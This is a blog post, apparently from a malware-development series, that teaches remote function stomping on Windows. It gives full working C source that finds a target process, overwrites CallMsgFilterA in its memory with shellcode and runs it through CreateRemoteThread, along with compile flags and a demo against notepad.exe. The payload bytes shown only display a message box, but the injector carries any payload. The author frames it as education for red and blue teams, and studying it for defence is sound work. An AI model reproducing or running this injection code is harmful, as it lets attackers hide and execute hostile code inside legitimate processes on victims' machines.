Malware development trick 60: Function stomping (remote process). Simple C example
﷽
Hello, cybersecurity enthusiasts and white hackers!

Next one in my blog about remote function stomping.
remote function stomping
All processes that use the DLLs that implement Windows API functions share them. This means that the functions inside the DLL have the same address in all processes. Because each process has its own virtual address space, the DLL’s address will be different from one to the next. So, even though the target function’s value stays the same from one process to the next, the DLL that exports these functions might change.
For example, kernel32.dll will be shared by two processes, A and B. However, because of Address Space Layout Randomization, the address of the DLL may be different in each process. The location of VirtualAlloc, which comes from kernel32.dll, will be the same in both processes, though.
One important thing to keep in mind is that the DLL that exports the intended function must already be loaded into the target process for function stomping to work. For instance, if you want to target the IECreateFile function in a remote function that comes from ieframe.dll, that source file must already be put into the target process. In the event that Setupapi.dll is not loaded in the remote process, the IECreateFile function will not be present in the target process. This will cause an attempt to write to an address that does not exist.
practical example
The code is similar to the local function stomping code, however, it uses different WinAPI functions to carry out code injection.
Let’s say our target process is notepad.exe. First of all, open notepad.exe in x64dbg debugger.


And choose some function from Symbols tab:

So, in our code, the first thing that needs to be done is to use LoadLibraryA to load user.dll into the local process memory. Next, use GetProcAddress to get the address of the function:
printf("loading ... ");
h = LoadLibraryA("user32.dll");
if (h == NULL){
printf("LoadLibraryA failed: %d \n", GetLastError());
return -1;
}
printf("loading user32.dll done \n");
addr = GetProcAddress(h, "CallMsgFilterA");
if (addr == NULL){
printf("GetProcAddress failed: %d \n", GetLastError());
return -1;
}
printf("address Of \"%s\": 0x%p \n", "CallMsgFilterA", addr);
The next step would be to stomp on the function and put the payload in its place. VirtualProtectEx should be used to mark the function’s memory area as readable and writable so that it can be changed. Finally, VirtualProtectEx is used to mark the area as executable (RX or RWX). The payload is then put into the function’s address.
if (!VirtualProtectEx(ph, addr, sizeof(my_payload), PAGE_READWRITE, &old)) {
printf("VirtualProtectEx [RW] failed : %d \n", GetLastError());
return -1;
}
if (!WriteProcessMemory(ph, addr, my_payload, sizeof(my_payload), NULL)) {
printf("WriteProcessMemory failed : %d \n", GetLastError());
return -1;
}
if (!VirtualProtectEx(ph, addr, sizeof(my_payload), PAGE_EXECUTE_READWRITE, &old)) {
printf("VirtualProtectEx [RWX] failed : %d \n", GetLastError());
return -1;
}
For finding target process and get handle just use this logic:
int findProc(const char *procname) {
HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;
// snapshot of all processes in the system
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;
// initializing size: needed for using Process32First
pe.dwSize = sizeof(PROCESSENTRY32);
// info about first process encountered in a system snapshot
hResult = Process32First(hSnapshot, &pe);
// retrieve information about the processes
// and exit if unsuccessful
while (hResult) {
// if we find the process: return process ID
if (strcmp(procname, pe.szExeFile) == 0) {
pid = pe.th32ProcessID;
break;
}
hResult = Process32Next(hSnapshot, &pe);
}
// closes an open handle (CreateToolhelp32Snapshot)
CloseHandle(hSnapshot);
return pid;
}
As you can see, to find PID we call findProc function which basically, what it does, it takes the name of the process we want to inject to and try to find it in a memory of the operating system, and if it exists, it’s running, this function return a process ID of that process.
in the main function you need:
pid = findProc(argv[1]);
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!ph) {
printf("failed to open process :(\n");
return -2;
}
if (pid) {
printf("target process pid: %d \n", pid);
}
For simplicity, we just print this PID.
Finally, full source code is looks like this:
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <tlhelp32.h>
int findProc(const char *procname) {
HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;
// snapshot of all processes in the system
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;
// initializing size: needed for using Process32First
pe.dwSize = sizeof(PROCESSENTRY32);
// info about first process encountered in a system snapshot
hResult = Process32First(hSnapshot, &pe);
// retrieve information about the processes
// and exit if unsuccessful
while (hResult) {
// if we find the process: return process ID
if (strcmp(procname, pe.szExeFile) == 0) {
pid = pe.th32ProcessID;
break;
}
hResult = Process32Next(hSnapshot, &pe);
}
// closes an open handle (CreateToolhelp32Snapshot)
CloseHandle(hSnapshot);
return pid;
}
// x64 meow-meow shellcode
unsigned char my_payload[] = {
0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,
0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,0x52,
0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,0x0f,0xb7,0x4a,
0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,
0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,0x3e,
0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,
0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,
0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,
0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,
0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,
0x40,0x24,0x49,0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,
0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,
0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,
0x58,0x41,0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,
0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0x1a,0x01,0x00,0x00,0x3e,0x4c,0x8d,
0x85,0x25,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,0xd5,
0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,
0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x4d,0x65,0x6f,0x77,0x2d,0x6d,0x65,0x6f,0x77,
0x21,0x00,0x3d,0x5e,0x2e,0x2e,0x5e,0x3d,0x00
};
int main(int argc, char* argv[]) {
int pid = 0;
PVOID addr = NULL;
HMODULE h = NULL;
HANDLE ph = NULL;
HANDLE th = NULL;
DWORD old = NULL;
pid = findProc(argv[1]);
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!ph) {
printf("failed to open process :(\n");
return -2;
}
if (pid) {
printf("target process pid: %d \n", pid);
}
printf("press <Enter> to load user32.dll...");
getchar();
printf("loading ... ");
h = LoadLibraryA("user32.dll");
if (h == NULL){
printf("LoadLibraryA failed: %d \n", GetLastError());
return -1;
}
printf("loading user32.dll done \n");
addr = GetProcAddress(h, "CallMsgFilterA");
if (addr == NULL){
printf("GetProcAddress failed: %d \n", GetLastError());
return -1;
}
printf("address Of \"%s\": 0x%p \n", "CallMsgFilterA", addr);
printf("press <Enter> to write payload ... ");
getchar();
printf("writing payload... ");
if (!VirtualProtectEx(ph, addr, sizeof(my_payload), PAGE_READWRITE, &old)) {
printf("VirtualProtectEx [RW] failed : %d \n", GetLastError());
return -1;
}
if (!WriteProcessMemory(ph, addr, my_payload, sizeof(my_payload), NULL)) {
printf("WriteProcessMemory failed : %d \n", GetLastError());
return -1;
}
if (!VirtualProtectEx(ph, addr, sizeof(my_payload), PAGE_EXECUTE_READWRITE, &old)) {
printf("VirtualProtectEx [RWX] failed : %d \n", GetLastError());
return -1;
}
printf("writing payload: done \n");
printf("press <Enter> to run the payload ... ");
getchar();
th = CreateRemoteThread(ph, NULL, NULL, addr, NULL, NULL, NULL);
if (th != NULL)
WaitForSingleObject(th, INFINITE);
printf("press <Enter> to quit ... ");
getchar();
return 0;
}
demo
Let’s go to see everything in action.
Compile our malware:
x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

Then run notepad.exe on victim’s machine and run:
.\hack.exe notepad.exe



then check target address:



write payload:

finally, run payload:


As you can see, everything is worked perfectly, as expected. Function in the remote process stomped, payload successfully executed! =^..^=
Once again, if you try to use function which is not provided by target process you’re failed!
Like this:



Remove debugging prints (hack2.c), then upload this compiled sample to ANY.RUN sandbox:




As you can see, verdict: suspicious activity.
https://app.any.run/tasks/12cf4f57-3ac4-4467-9305-8644a61b0e2a
I hope this post is useful for malware researchers, C/C++ programmers, spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.

Thanks to ANY.RUN for API!
VBA stomping
hack2.exe
source code in github
This is a practical case for educational purposes only.
Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine